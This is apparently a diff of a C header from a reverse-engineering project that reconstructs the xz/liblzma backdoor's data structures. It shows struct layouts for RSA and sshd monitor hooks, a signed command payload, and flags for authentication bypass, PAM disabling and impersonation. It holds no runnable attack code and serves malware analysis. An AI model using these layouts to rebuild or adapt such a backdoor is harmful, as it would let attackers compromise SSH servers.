1582 assert_offset(elf_handles_t, main, 0x0);
-
1583 assert_offset(elf_handles_t, dynamic_linker, 0x8);
-
1584 assert_offset(elf_handles_t, libc, 0x10);
-
1585 assert_offset(elf_handles_t, liblzma, 0x18);
-
1586 assert_offset(elf_handles_t, libcrypto, 0x20);
-
1587 static_assert(sizeof(elf_handles_t) == 0x28);
-
1588 
-
1589 typedef struct __attribute__((packed)) main_elf {
-
1590  elf_handles_t *elf_handles;
-
1591  Elf64_Ehdr *dynamic_linker_ehdr;
-
1592  void **__libc_stack_end;
-
1593 } main_elf_t;
-
1594 
-
1595 assert_offset(main_elf_t, elf_handles, 0x0);
-
1596 assert_offset(main_elf_t, dynamic_linker_ehdr, 0x8);
-
1597 assert_offset(main_elf_t, __libc_stack_end, 0x10);
-
1598 static_assert(sizeof(main_elf_t) == 0x18);
-
1599 
-
1600 typedef struct backdoor_data backdoor_data_t;
-
1601 
-
1605 typedef struct __attribute__((packed)) backdoor_data_handle {
-
1606  backdoor_data_t *data;
-
1607  elf_handles_t *elf_handles;
-
1608 } backdoor_data_handle_t;
-
1609 
-
1610 assert_offset(backdoor_data_handle_t, data, 0x0);
-
1611 assert_offset(backdoor_data_handle_t, elf_handles, 0x8);
-
1612 
-
1613 typedef struct __attribute__((packed)) string_item {
-
1617  EncodedStringId string_id;
-
1618  PADDING(4);
-
1622  void *func_start;
-
1626  void *func_end;
-
1630  void *xref;
-
1631 } string_item_t;
-
1632 
-
1633 assert_offset(string_item_t, string_id, 0);
-
1634 assert_offset(string_item_t, func_start, 0x8);
-
1635 assert_offset(string_item_t, func_end, 0x10);
-
1636 assert_offset(string_item_t, xref, 0x18);
-
1637 static_assert(sizeof(string_item_t) == 0x20);
-
1638 
-
1639 typedef struct __attribute__((packed)) string_references {
-
1640  string_item_t entries[27];
-
1641 } string_references_t;
-
1642 
-
1643 assert_offset(string_references_t, entries, 0);
-
1644 static_assert(sizeof(string_references_t) == 0x360);
-
1645 
-
1650 typedef struct __attribute__((packed)) backdoor_data {
-
1655  struct link_map *main_map;
-
1660  struct link_map *dynamic_linker_map;
-
1661  struct link_map *liblzma_map;
-
1662  struct link_map *libcrypto_map;
-
1663  struct link_map *libsystemd_map;
-
1664  struct link_map *libc_map;
-
1665 
-
1666  elf_handles_t elf_handles;
-
1667 
-
1668  backdoor_data_handle_t data_handle;
-
1669 
-
1675  elf_info_t main_info;
-
1681  elf_info_t dynamic_linker_info;
-
1685  elf_info_t libc_info;
-
1686  elf_info_t liblzma_info;
-
1690  elf_info_t libcrypto_info;
-
1691 
-
1695  libc_imports_t libc_imports;
-
1700  string_references_t string_refs;
-
1701  lzma_allocator fake_allocator;
-
1705  lzma_allocator *import_resolver;
-
1706 } backdoor_data_t;
-
1707 
-
1708 assert_offset(backdoor_data_t, main_map, 0);
-
1709 assert_offset(backdoor_data_t, dynamic_linker_map, 0x8);
-
1710 assert_offset(backdoor_data_t, liblzma_map, 0x10);
-
1711 assert_offset(backdoor_data_t, libcrypto_map, 0x18);
-
1712 assert_offset(backdoor_data_t, libsystemd_map, 0x20);
-
1713 assert_offset(backdoor_data_t, libc_map, 0x28);
-
1714 assert_offset(backdoor_data_t, elf_handles, 0x30);
-
1715 assert_offset(backdoor_data_t, data_handle, 0x58);
-
1716 assert_offset(backdoor_data_t, main_info, 0x68);
-
1717 assert_offset(backdoor_data_t, dynamic_linker_info, 0x168);
-
1718 assert_offset(backdoor_data_t, libc_info, 0x268);
-
1719 assert_offset(backdoor_data_t, liblzma_info, 0x368);
-
1720 assert_offset(backdoor_data_t, libcrypto_info, 0x468);
-
1721 assert_offset(backdoor_data_t, libc_imports, 0x568);
-
1722 assert_offset(backdoor_data_t, string_refs, 0x5D8);
-
1723 assert_offset(backdoor_data_t, fake_allocator, 0x938);
-
1724 assert_offset(backdoor_data_t, import_resolver, 0x950);
-
1725 static_assert(sizeof(backdoor_data_t) == 0x958);
-
1726 
-
1727 typedef struct __attribute__((packed)) backdoor_shared_libraries_data {
-
1728  backdoor_data_t *data;
-
1729  elf_handles_t *elf_handles;
-
1734  void* RSA_public_decrypt_plt;
-
1739  void* EVP_PKEY_set1_RSA_plt;
-
1744  void* RSA_get0_key_plt;
-
1745  backdoor_hooks_data_t **hooks_data_addr;
-
1746  libc_imports_t *libc_imports;
-
1747 } backdoor_shared_libraries_data_t;
-
1748 
-
1749 assert_offset(backdoor_shared_libraries_data_t, data, 0x0);
-
1750 assert_offset(backdoor_shared_libraries_data_t, elf_handles, 0x8);
-
1751 assert_offset(backdoor_shared_libraries_data_t, RSA_public_decrypt_plt, 0x10);
-
1752 assert_offset(backdoor_shared_libraries_data_t, EVP_PKEY_set1_RSA_plt, 0x18);
-
1753 assert_offset(backdoor_shared_libraries_data_t, RSA_get0_key_plt, 0x20);
-
1754 assert_offset(backdoor_shared_libraries_data_t, hooks_data_addr, 0x28);
-
1755 assert_offset(backdoor_shared_libraries_data_t, libc_imports, 0x30);
-
1756 
-
1763 typedef union {
-
1765  u32 index;
-
1766  struct {
-
1768  u32 bit_index : 3;
-
1770  u32 byte_index : 29;
-
1771  };
-
1772 } secret_data_shift_cursor_t;
-
1773 
-
1774 typedef struct __attribute__((packed)) secret_data_item {
-
1775  u8 *code;
-
1776  secret_data_shift_cursor_t shift_cursor;
-
1777  u32 operation_index;
-
1778  u32 shift_count;
-
1779  u32 index;
-
1780 } secret_data_item_t;
-
1781 
-
1782 assert_offset(secret_data_item_t, code, 0x0);
-
1783 assert_offset(secret_data_item_t, shift_cursor, 0x8);
-
1784 assert_offset(secret_data_item_t, operation_index, 0xC);
-
1785 assert_offset(secret_data_item_t, shift_count, 0x10);
-
1786 assert_offset(secret_data_item_t, index, 0x14);
-
1787 static_assert(sizeof(secret_data_item_t) == 0x18);
-
1788 
-
1794 typedef struct __attribute__((packed)) key_payload_hdr {
-
1795  u32 field_a;
-
1796  u32 field_b;
-
1797  u64 field_c;
-
1798 } key_payload_hdr_t;
-
1799 
-
1800 typedef union __attribute__((packed)) {
-
1801  u8 value[2];
-
1802  u16 size;
-
1803 } u_cmd_arguments_t;
-
1804 
-
1805 typedef struct __attribute__((packed)) cmd_arguments {
-
1806  u8 flags1;
-
1807  u8 flags2;
-
1808  u8 flags3;
-
1809  u_cmd_arguments_t u;
-
1810 } cmd_arguments_t;
-
1811 
-
1812 typedef struct __attribute__((packed)) key_payload_body {
-
1814  u8 signature[ED448_SIGNATURE_SIZE];
-
1815  cmd_arguments_t args;
-
1816  u8 data[0x1A1];
-
1817 } key_payload_body_t;
-
1818 
-
1819 assert_offset(key_payload_body_t, args, 0x72);
-
1820 
-
1826 typedef struct __attribute__((packed)) key_payload {
-
1827  key_payload_hdr_t header;
-
1828  key_payload_body_t body;
-
1829 } key_payload_t;
-
1830 static_assert(sizeof(key_payload_t) == 0x228);
-
1831 
-
1832 #define TEST_FLAG(x, flag) (((x) & (flag)) != 0)
-
1833 
-
1834 enum CommandFlags1 {
-
1838  X_FLAGS1_8BYTES = 0x1,
-
1842  X_FLAGS1_SETLOGMASK = 0x4,
-
1846  X_FLAGS1_SOCKET_INDEX = 0x20,
-
1850  X_FLAGS1_DISABLE_PAM = 0x40,
-
1854  X_FLAGS1_NO_EXTENDED_SIZE = 0x80
-
1855 };
-
1856 
-
1857 enum CommandFlags2 {
-
1862  X_FLAGS2_IMPERSONATE = 0x1,
-
1867  X_FLAGS2_CHANGE_MONITOR_REQ = 0x2,
-
1871  X_FLAGS2_AUTH_BYPASS = 0x4,
-
1876  X_FLAGS2_CONTINUATION = 0x40,
-
1881  X_FLAGS2_PSELECT = 0xC0,
-
1882 
-
1888  X_FLAGS2_SOCKFD_MASK = 0x78
-
1889 };
-
1890 
-
1891 enum CommandFlags3 {
-
1895  X_FLAGS3_SOCKET_NUM = 0x1F,
-
1899  X_FLAGS3_MONITOR_REQ_VAL = 0x3F
-
1900 };
-
1901 
-
1902 assert_offset(cmd_arguments_t, flags1, 0);
-
1903 assert_offset(cmd_arguments_t, flags2, 1);
-
1904 assert_offset(cmd_arguments_t, flags3, 2);
-
1905 assert_offset(cmd_arguments_t, u, 3);
-
1906 static_assert(sizeof(cmd_arguments_t) == 0x5);
-
1907 
-
1908 typedef struct __attribute__((packed)) key_ctx {
-
1909  const BIGNUM *rsa_n;
-
1910  const BIGNUM *rsa_e;
-
1911  cmd_arguments_t args;
-
1912  key_payload_t payload;
-
1913  PADDING(CHACHA20_KEY_SIZE + CHACHA20_IV_SIZE);
-
1914  u8 ivec[CHACHA20_IV_SIZE];
-
1915  u8 ed448_key[ED448_KEY_SIZE];
-
1916  PADDING(2);
-
1917 } key_ctx_t;
-
1918 
-
1919 assert_offset(key_ctx_t, rsa_n, 0);
-
1920 assert_offset(key_ctx_t, rsa_e, 0x8);
-
1921 assert_offset(key_ctx_t, args, 0x10);
-
1922 assert_offset(key_ctx_t, payload, 0x15);
-
1923 assert_offset(key_ctx_t, ivec, 0x26D);
-
1924 assert_offset(key_ctx_t, ed448_key, 0x27D);
-
1925 
-
1930 typedef struct __attribute__((packed)) monitor_data {
-
1931  u32 cmd_type;
-
1932  PADDING(4);
-
1933  cmd_arguments_t *args;
-
1934  const BIGNUM *rsa_n;
-
1935  const BIGNUM *rsa_e;
-
1936  u8 *payload_body;
-
1937  u16 payload_body_size;
-
1938  PADDING(6);
-
1939  RSA *rsa;
-
1940 } monitor_data_t;
-
1941 
-
1942 assert_offset(monitor_data_t, cmd_type, 0);
-
1943 assert_offset(monitor_data_t, args, 0x8);
-
1944 assert_offset(monitor_data_t, rsa_n, 0x10);
-
1945 assert_offset(monitor_data_t, rsa_e, 0x18);
-
1946 assert_offset(monitor_data_t, payload_body, 0x20);
-
1947 assert_offset(monitor_data_t, payload_body_size, 0x28);
-
1948 assert_offset(monitor_data_t, rsa, 0x30);
-
1949 
-
1954 typedef union __attribute__((packed)) backdoor_runtime_data {
-
1955 #ifndef XZRE_SLIM
-
1956  struct timespec timespec;
-
1957  fd_set fd_set;
-
1958 #endif
-
1959  monitor_data_t monitor;
-
1960  u8 data[608];
-
1961 } backdoor_runtime_data_t;
-
1962 
-
1967 typedef struct __attribute__((packed)) run_backdoor_commands_data {
-
1968  u64 body_size;
-
1969  BOOL *p_do_orig;
-
1970  u64 payload_size;
-
1971  u64 hostkey_hash_offset;
-
1972  RSA *rsa;
-
1973  u8 *payload_data_ptr;
-
1974  u8 *ed448_key_ptr;
-
1975  u64 num_keys;
-
1976  PADDING(4);
-
1977  u32 key_cur_idx;
-
1978  u64 key_prev_idx;
-
1979  PADDING(7);
-
1980  u8 unk57;
-
1981  union {
-
1982  struct __attribute__((packed)) {
-
1983  int socket_fd;
-
1984  u32 fd_recv_size;
-
1985  u8 fd_recv_buf[64];
-
1986  } sock;
-
1987  struct __attribute__((packed)) {
-
1988  u64 num_host_keys;
-
1989  u64 num_host_pubkeys;
-
1990  u8 ed448_key[ED448_KEY_SIZE];
-
1991  } keys;
-
1992  } u;
-
1993  PADDING(7);
-
1994  backdoor_runtime_data_t data;
-
1995  key_ctx_t kctx;
-
1996 } run_backdoor_commands_data_t;
-
1997 
-
1998 assert_offset(run_backdoor_commands_data_t, body_size, 0);
-
1999 assert_offset(run_backdoor_commands_data_t, p_do_orig, 8);
-
2000 assert_offset(run_backdoor_commands_data_t, payload_size, 0x10);
-
2001 assert_offset(run_backdoor_commands_data_t, hostkey_hash_offset, 0x18);
-
2002 assert_offset(run_backdoor_commands_data_t, rsa, 0x20);
-
2003 assert_offset(run_backdoor_commands_data_t, ed448_key_ptr, 0x30);
-
2004 assert_offset(run_backdoor_commands_data_t, num_keys, 0x38);
-
2005 assert_offset(run_backdoor_commands_data_t, key_cur_idx, 0x44);
-
2006 assert_offset(run_backdoor_commands_data_t, key_prev_idx, 0x48);
-
2007 assert_offset(run_backdoor_commands_data_t, unk57, 0x57);
-
2008 assert_offset(run_backdoor_commands_data_t, u.keys.num_host_keys, 0x58);
-
2009 assert_offset(run_backdoor_commands_data_t, u.keys.num_host_pubkeys, 0x60);
-
2010 assert_offset(run_backdoor_commands_data_t, u.keys.ed448_key, 0x68);
-
2011 assert_offset(run_backdoor_commands_data_t, data, 0xA8);
-
2012 assert_offset(run_backdoor_commands_data_t, kctx, 0x308);
-
2013 
+
1533  PADDING(sizeof(void *));
+
1534  sshd_monitor_func_t mm_answer_keyallowed;
+
1535  sshd_monitor_func_t mm_answer_keyverify;
+
1536  PADDING(sizeof(void *));
+
1537 } backdoor_hooks_ctx_t;
+
1538 
+
1539 assert_offset(backdoor_hooks_ctx_t, shared, 0x30);
+
1540 assert_offset(backdoor_hooks_ctx_t, hooks_data_addr, 0x38);
+
1541 assert_offset(backdoor_hooks_ctx_t, symbind64, 0x40);
+
1542 assert_offset(backdoor_hooks_ctx_t, hook_RSA_public_decrypt, 0x48);
+
1543 assert_offset(backdoor_hooks_ctx_t, hook_RSA_get0_key, 0x50);
+
1544 assert_offset(backdoor_hooks_ctx_t, mm_log_handler, 0x58);
+
1545 assert_offset(backdoor_hooks_ctx_t, mm_answer_keyallowed, 0x70);
+
1546 assert_offset(backdoor_hooks_ctx_t, mm_answer_keyverify, 0x78);
+
1547 static_assert(sizeof(backdoor_hooks_ctx_t) == 0x88);
+
1548 
+
1549 typedef struct __attribute__((packed)) backdoor_setup_params {
+
1550  PADDING(0x8);
+
1551  backdoor_shared_globals_t *shared;
+
1552  backdoor_hooks_ctx_t *hook_params;
+
1553  lzma_check_state dummy_check_state;
+
1554  elf_entry_ctx_t *entry_ctx;
+
1555 } backdoor_setup_params_t;
+
1556 
+
1557 assert_offset(backdoor_setup_params_t, shared, 0x8);
+
1558 assert_offset(backdoor_setup_params_t, hook_params, 0x10);
+
1559 assert_offset(backdoor_setup_params_t, entry_ctx, 0x80);
+
1560 static_assert(sizeof(backdoor_setup_params_t) == 0x88);
+
1561 
+
1566 typedef struct __attribute__((packed)) elf_handles {
+
1571  elf_info_t *main;
+
1577  elf_info_t *dynamic_linker;
+
1578  elf_info_t *libc;
+
1579  elf_info_t *liblzma;
+
1580  elf_info_t *libcrypto;
+
1581 } elf_handles_t;
+
1582 
+
1583 assert_offset(elf_handles_t, main, 0x0);
+
1584 assert_offset(elf_handles_t, dynamic_linker, 0x8);
+
1585 assert_offset(elf_handles_t, libc, 0x10);
+
1586 assert_offset(elf_handles_t, liblzma, 0x18);
+
1587 assert_offset(elf_handles_t, libcrypto, 0x20);
+
1588 static_assert(sizeof(elf_handles_t) == 0x28);
+
1589 
+
1590 typedef struct __attribute__((packed)) main_elf {
+
1591  elf_handles_t *elf_handles;
+
1592  Elf64_Ehdr *dynamic_linker_ehdr;
+
1593  void **__libc_stack_end;
+
1594 } main_elf_t;
+
1595 
+
1596 assert_offset(main_elf_t, elf_handles, 0x0);
+
1597 assert_offset(main_elf_t, dynamic_linker_ehdr, 0x8);
+
1598 assert_offset(main_elf_t, __libc_stack_end, 0x10);
+
1599 static_assert(sizeof(main_elf_t) == 0x18);
+
1600 
+
1601 typedef struct backdoor_data backdoor_data_t;
+
1602 
+
1606 typedef struct __attribute__((packed)) backdoor_data_handle {
+
1607  backdoor_data_t *data;
+
1608  elf_handles_t *elf_handles;
+
1609 } backdoor_data_handle_t;
+
1610 
+
1611 assert_offset(backdoor_data_handle_t, data, 0x0);
+
1612 assert_offset(backdoor_data_handle_t, elf_handles, 0x8);
+
1613 
+
1614 typedef struct __attribute__((packed)) string_item {
+
1618  EncodedStringId string_id;
+
1619  PADDING(4);
+
1623  void *func_start;
+
1627  void *func_end;
+
1631  void *xref;
+
1632 } string_item_t;
+
1633 
+
1634 assert_offset(string_item_t, string_id, 0);
+
1635 assert_offset(string_item_t, func_start, 0x8);
+
1636 assert_offset(string_item_t, func_end, 0x10);
+
1637 assert_offset(string_item_t, xref, 0x18);
+
1638 static_assert(sizeof(string_item_t) == 0x20);
+
1639 
+
1640 typedef struct __attribute__((packed)) string_references {
+
1641  string_item_t entries[27];
+
1642 } string_references_t;
+
1643 
+
1644 assert_offset(string_references_t, entries, 0);
+
1645 static_assert(sizeof(string_references_t) == 0x360);
+
1646 
+
1651 typedef struct __attribute__((packed)) backdoor_data {
+
1656  struct link_map *main_map;
+
1661  struct link_map *dynamic_linker_map;
+
1662  struct link_map *liblzma_map;
+
1663  struct link_map *libcrypto_map;
+
1664  struct link_map *libsystemd_map;
+
1665  struct link_map *libc_map;
+
1666 
+
1667  elf_handles_t elf_handles;
+
1668 
+
1669  backdoor_data_handle_t data_handle;
+
1670 
+
1676  elf_info_t main_info;
+
1682  elf_info_t dynamic_linker_info;
+
1686  elf_info_t libc_info;
+
1687  elf_info_t liblzma_info;
+
1691  elf_info_t libcrypto_info;
+
1692 
+
1696  libc_imports_t libc_imports;
+
1701  string_references_t string_refs;
+
1702  lzma_allocator fake_allocator;
+
1706  lzma_allocator *import_resolver;
+
1707 } backdoor_data_t;
+
1708 
+
1709 assert_offset(backdoor_data_t, main_map, 0);
+
1710 assert_offset(backdoor_data_t, dynamic_linker_map, 0x8);
+
1711 assert_offset(backdoor_data_t, liblzma_map, 0x10);
+
1712 assert_offset(backdoor_data_t, libcrypto_map, 0x18);
+
1713 assert_offset(backdoor_data_t, libsystemd_map, 0x20);
+
1714 assert_offset(backdoor_data_t, libc_map, 0x28);
+
1715 assert_offset(backdoor_data_t, elf_handles, 0x30);
+
1716 assert_offset(backdoor_data_t, data_handle, 0x58);
+
1717 assert_offset(backdoor_data_t, main_info, 0x68);
+
1718 assert_offset(backdoor_data_t, dynamic_linker_info, 0x168);
+
1719 assert_offset(backdoor_data_t, libc_info, 0x268);
+
1720 assert_offset(backdoor_data_t, liblzma_info, 0x368);
+
1721 assert_offset(backdoor_data_t, libcrypto_info, 0x468);
+
1722 assert_offset(backdoor_data_t, libc_imports, 0x568);
+
1723 assert_offset(backdoor_data_t, string_refs, 0x5D8);
+
1724 assert_offset(backdoor_data_t, fake_allocator, 0x938);
+
1725 assert_offset(backdoor_data_t, import_resolver, 0x950);
+
1726 static_assert(sizeof(backdoor_data_t) == 0x958);
+
1727 
+
1728 typedef struct __attribute__((packed)) backdoor_shared_libraries_data {
+
1729  backdoor_data_t *data;
+
1730  elf_handles_t *elf_handles;
+
1735  void* RSA_public_decrypt_plt;
+
1740  void* EVP_PKEY_set1_RSA_plt;
+
1745  void* RSA_get0_key_plt;
+
1746  backdoor_hooks_data_t **hooks_data_addr;
+
1747  libc_imports_t *libc_imports;
+
1748 } backdoor_shared_libraries_data_t;
+
1749 
+
1750 assert_offset(backdoor_shared_libraries_data_t, data, 0x0);
+
1751 assert_offset(backdoor_shared_libraries_data_t, elf_handles, 0x8);
+
1752 assert_offset(backdoor_shared_libraries_data_t, RSA_public_decrypt_plt, 0x10);
+
1753 assert_offset(backdoor_shared_libraries_data_t, EVP_PKEY_set1_RSA_plt, 0x18);
+
1754 assert_offset(backdoor_shared_libraries_data_t, RSA_get0_key_plt, 0x20);
+
1755 assert_offset(backdoor_shared_libraries_data_t, hooks_data_addr, 0x28);
+
1756 assert_offset(backdoor_shared_libraries_data_t, libc_imports, 0x30);
+
1757 
+
1764 typedef union {
+
1766  u32 index;
+
1767  struct {
+
1769  u32 bit_index : 3;
+
1771  u32 byte_index : 29;
+
1772  };
+
1773 } secret_data_shift_cursor_t;
+
1774 
+
1775 typedef struct __attribute__((packed)) secret_data_item {
+
1776  u8 *code;
+
1777  secret_data_shift_cursor_t shift_cursor;
+
1778  u32 operation_index;
+
1779  u32 shift_count;
+
1780  u32 index;
+
1781 } secret_data_item_t;
+
1782 
+
1783 assert_offset(secret_data_item_t, code, 0x0);
+
1784 assert_offset(secret_data_item_t, shift_cursor, 0x8);
+
1785 assert_offset(secret_data_item_t, operation_index, 0xC);
+
1786 assert_offset(secret_data_item_t, shift_count, 0x10);
+
1787 assert_offset(secret_data_item_t, index, 0x14);
+
1788 static_assert(sizeof(secret_data_item_t) == 0x18);
+
1789 
+
1795 typedef struct __attribute__((packed)) key_payload_hdr {
+
1796  u32 field_a;
+
1797  u32 field_b;
+
1798  u64 field_c;
+
1799 } key_payload_hdr_t;
+
1800 
+
1801 typedef union __attribute__((packed)) {
+
1802  u8 value[2];
+
1803  u16 size;
+
1804 } u_cmd_arguments_t;
+
1805 
+
1806 typedef struct __attribute__((packed)) cmd_arguments {
+
1807  u8 flags1;
+
1808  u8 flags2;
+
1809  u8 flags3;
+
1810  u_cmd_arguments_t u;
+
1811 } cmd_arguments_t;
+
1812 
+
1813 typedef struct __attribute__((packed)) key_payload_body {
+
1815  u8 signature[ED448_SIGNATURE_SIZE];
+
1816  cmd_arguments_t args;
+
1817  u8 data[0x1A1];
+
1818 } key_payload_body_t;
+
1819 
+
1820 assert_offset(key_payload_body_t, args, 0x72);
+
1821 
+
1827 typedef struct __attribute__((packed)) key_payload {
+
1828  key_payload_hdr_t header;
+
1829  key_payload_body_t body;
+
1830 } key_payload_t;
+
1831 static_assert(sizeof(key_payload_t) == 0x228);
+
1832 
+
1833 #define TEST_FLAG(x, flag) (((x) & (flag)) != 0)
+
1834 
+
1835 enum CommandFlags1 {
+
1839  X_FLAGS1_8BYTES = 0x1,
+
1843  X_FLAGS1_SETLOGMASK = 0x4,
+
1847  X_FLAGS1_SOCKET_INDEX = 0x20,
+
1851  X_FLAGS1_DISABLE_PAM = 0x40,
+
1855  X_FLAGS1_NO_EXTENDED_SIZE = 0x80
+
1856 };
+
1857 
+
1858 enum CommandFlags2 {
+
1863  X_FLAGS2_IMPERSONATE = 0x1,
+
1868  X_FLAGS2_CHANGE_MONITOR_REQ = 0x2,
+
1872  X_FLAGS2_AUTH_BYPASS = 0x4,
+
1877  X_FLAGS2_CONTINUATION = 0x40,
+
1882  X_FLAGS2_PSELECT = 0xC0,
+
1883 
+
1889  X_FLAGS2_SOCKFD_MASK = 0x78
+
1890 };
+
1891 
+
1892 enum CommandFlags3 {
+
1896  X_FLAGS3_SOCKET_NUM = 0x1F,
+
1900  X_FLAGS3_MONITOR_REQ_VAL = 0x3F
+
1901 };
+
1902 
+
1903 assert_offset(cmd_arguments_t, flags1, 0);
+
1904 assert_offset(cmd_arguments_t, flags2, 1);
+
1905 assert_offset(cmd_arguments_t, flags3, 2);
+
1906 assert_offset(cmd_arguments_t, u, 3);
+
1907 static_assert(sizeof(cmd_arguments_t) == 0x5);
+
1908 
+
1909 typedef struct __attribute__((packed)) key_ctx {
+
1910  const BIGNUM *rsa_n;
+
1911  const BIGNUM *rsa_e;
+
1912  cmd_arguments_t args;
+
1913  key_payload_t payload;
+
1914  PADDING(CHACHA20_KEY_SIZE + CHACHA20_IV_SIZE);
+
1915  u8 ivec[CHACHA20_IV_SIZE];
+
1916  u8 ed448_key[ED448_KEY_SIZE];
+
1917  PADDING(2);
+
1918 } key_ctx_t;
+
1919 
+
1920 assert_offset(key_ctx_t, rsa_n, 0);
+
1921 assert_offset(key_ctx_t, rsa_e, 0x8);
+
1922 assert_offset(key_ctx_t, args, 0x10);
+
1923 assert_offset(key_ctx_t, payload, 0x15);
+
1924 assert_offset(key_ctx_t, ivec, 0x26D);
+
1925 assert_offset(key_ctx_t, ed448_key, 0x27D);
+
1926 
+
1931 typedef struct __attribute__((packed)) monitor_data {
+
1932  u32 cmd_type;
+
1933  PADDING(4);
+
1934  cmd_arguments_t *args;
+
1935  const BIGNUM *rsa_n;
+
1936  const BIGNUM *rsa_e;
+
1937  u8 *payload_body;
+
1938  u16 payload_body_size;
+
1939  PADDING(6);
+
1940  RSA *rsa;
+
1941 } monitor_data_t;
+
1942 
+
1943 assert_offset(monitor_data_t, cmd_type, 0);
+
1944 assert_offset(monitor_data_t, args, 0x8);
+
1945 assert_offset(monitor_data_t, rsa_n, 0x10);
+
1946 assert_offset(monitor_data_t, rsa_e, 0x18);
+
1947 assert_offset(monitor_data_t, payload_body, 0x20);
+
1948 assert_offset(monitor_data_t, payload_body_size, 0x28);
+
1949 assert_offset(monitor_data_t, rsa, 0x30);
+
1950 
+
1955 typedef union __attribute__((packed)) backdoor_runtime_data {
+
1956 #ifndef XZRE_SLIM
+
1957  struct timespec timespec;
+
1958  fd_set fd_set;
+
1959 #endif
+
1960  monitor_data_t monitor;
+
1961  u8 data[608];
+
1962 } backdoor_runtime_data_t;
+
1963 
+
1968 typedef struct __attribute__((packed)) run_backdoor_commands_data {
+
1969  u64 body_size;
+
1970  BOOL *p_do_orig;
+
1971  u64 payload_size;
+
1972  u64 hostkey_hash_offset;
+
1973  RSA *rsa;
+
1974  u8 *payload_data_ptr;
+
1975  u8 *ed448_key_ptr;
+
1976  u64 num_keys;
+
1977  PADDING(4);
+
1978  u32 key_cur_idx;
+
1979  u64 key_prev_idx;
+
1980  PADDING(7);
+
1981  u8 unk57;
+
1982  union {
+
1983  struct __attribute__((packed)) {
+
1984  int socket_fd;
+
1985  u32 fd_recv_size;
+
1986  u8 fd_recv_buf[64];
+
1987  } sock;
+
1988  struct __attribute__((packed)) {
+
1989  u64 num_host_keys;
+
1990  u64 num_host_pubkeys;
+
1991  u8 ed448_key[ED448_KEY_SIZE];
+
1992  } keys;
+
1993  } u;
+
1994  PADDING(7);
+
1995  backdoor_runtime_data_t data;
+
1996  key_ctx_t kctx;
+
1997 } run_backdoor_commands_data_t;
+
1998 
+
1999 assert_offset(run_backdoor_commands_data_t, body_size, 0);
+
2000 assert_offset(run_backdoor_commands_data_t, p_do_orig, 8);
+
2001 assert_offset(run_backdoor_commands_data_t, payload_size, 0x10);
+
2002 assert_offset(run_backdoor_commands_data_t, hostkey_hash_offset, 0x18);
+
2003 assert_offset(run_backdoor_commands_data_t, rsa, 0x20);
+
2004 assert_offset(run_backdoor_commands_data_t, ed448_key_ptr, 0x30);
+
2005 assert_offset(run_backdoor_commands_data_t, num_keys, 0x38);
+
2006 assert_offset(run_backdoor_commands_data_t, key_cur_idx, 0x44);
+
2007 assert_offset(run_backdoor_commands_data_t, key_prev_idx, 0x48);
+
2008 assert_offset(run_backdoor_commands_data_t, unk57, 0x57);
+
2009 assert_offset(run_backdoor_commands_data_t, u.keys.num_host_keys, 0x58);
+
2010 assert_offset(run_backdoor_commands_data_t, u.keys.num_host_pubkeys, 0x60);
+
2011 assert_offset(run_backdoor_commands_data_t, u.keys.ed448_key, 0x68);
+
2012 assert_offset(run_backdoor_commands_data_t, data, 0xA8);
+
2013 assert_offset(run_backdoor_commands_data_t, kctx, 0x308);
2014 
-
2015 typedef struct __attribute__((packed)) backdoor_cpuid_reloc_consts {
-
2021  ptrdiff_t cpuid_random_symbol_got_offset;
-
2027  u64 cpuid_got_index;
-
2033  ptrdiff_t backdoor_init_stage2_got_offset;
-
2034 } backdoor_cpuid_reloc_consts_t;
-
2035 
-
2036 assert_offset(backdoor_cpuid_reloc_consts_t, cpuid_random_symbol_got_offset, 0);
-
2037 assert_offset(backdoor_cpuid_reloc_consts_t, cpuid_got_index, 0x8);
-
2038 assert_offset(backdoor_cpuid_reloc_consts_t, backdoor_init_stage2_got_offset, 0x10);
-
2039 static_assert(sizeof(backdoor_cpuid_reloc_consts_t) == 0x18);
-
2040 
-
2041 typedef struct __attribute__((packed)) backdoor_tls_get_addr_reloc_consts {
-
2047  ptrdiff_t tls_get_addr_plt_offset;
-
2053  ptrdiff_t tls_get_addr_random_symbol_got_offset;
-
2054 } backdoor_tls_get_addr_reloc_consts_t;
-
2055 
-
2056 assert_offset(backdoor_tls_get_addr_reloc_consts_t, tls_get_addr_plt_offset, 0);
-
2057 assert_offset(backdoor_tls_get_addr_reloc_consts_t, tls_get_addr_random_symbol_got_offset, 0x8);
-
2058 static_assert(sizeof(backdoor_tls_get_addr_reloc_consts_t) == 0x10);
-
2059 
-
2060 typedef struct __attribute__((packed)) elf_functions {
-
2061  PADDING(sizeof(u64));
-
2067  int (*init_hook_functions)(backdoor_hooks_ctx_t *funcs);
-
2068  PADDING(sizeof(u64));
+
2015 
+
2016 typedef struct __attribute__((packed)) backdoor_cpuid_reloc_consts {
+
2022  ptrdiff_t cpuid_random_symbol_got_offset;
+
2028  u64 cpuid_got_index;
+
2034  ptrdiff_t backdoor_init_stage2_got_offset;
+
2035 } backdoor_cpuid_reloc_consts_t;
+
2036 
+
2037 assert_offset(backdoor_cpuid_reloc_consts_t, cpuid_random_symbol_got_offset, 0);
+
2038 assert_offset(backdoor_cpuid_reloc_consts_t, cpuid_got_index, 0x8);
+
2039 assert_offset(backdoor_cpuid_reloc_consts_t, backdoor_init_stage2_got_offset, 0x10);
+
2040 static_assert(sizeof(backdoor_cpuid_reloc_consts_t) == 0x18);
+
2041 
+
2042 typedef struct __attribute__((packed)) backdoor_tls_get_addr_reloc_consts {
+
2048  ptrdiff_t tls_get_addr_plt_offset;
+
2054  ptrdiff_t tls_get_addr_random_symbol_got_offset;
+
2055 } backdoor_tls_get_addr_reloc_consts_t;
+
2056 
+
2057 assert_offset(backdoor_tls_get_addr_reloc_consts_t, tls_get_addr_plt_offset, 0);
+
2058 assert_offset(backdoor_tls_get_addr_reloc_consts_t, tls_get_addr_random_symbol_got_offset, 0x8);
+
2059 static_assert(sizeof(backdoor_tls_get_addr_reloc_consts_t) == 0x10);
+
2060 
+
2061 typedef struct __attribute__((packed)) elf_functions {
+
2062  PADDING(sizeof(u64));
+
2068  int (*init_hook_functions)(backdoor_hooks_ctx_t *funcs);
2069  PADDING(sizeof(u64));
-
2075  void *(*elf_symbol_get_addr)(elf_info_t *elf_info, EncodedStringId encoded_string_id);
-
2076  PADDING(sizeof(u64));
-
2082  BOOL (*elf_parse)(Elf64_Ehdr *ehdr, elf_info_t *elf_info);
-
2083 } elf_functions_t;
-
2084 
-
2085 assert_offset(elf_functions_t, init_hook_functions, 0x8);
-
2086 assert_offset(elf_functions_t, elf_symbol_get_addr, 0x20);
-
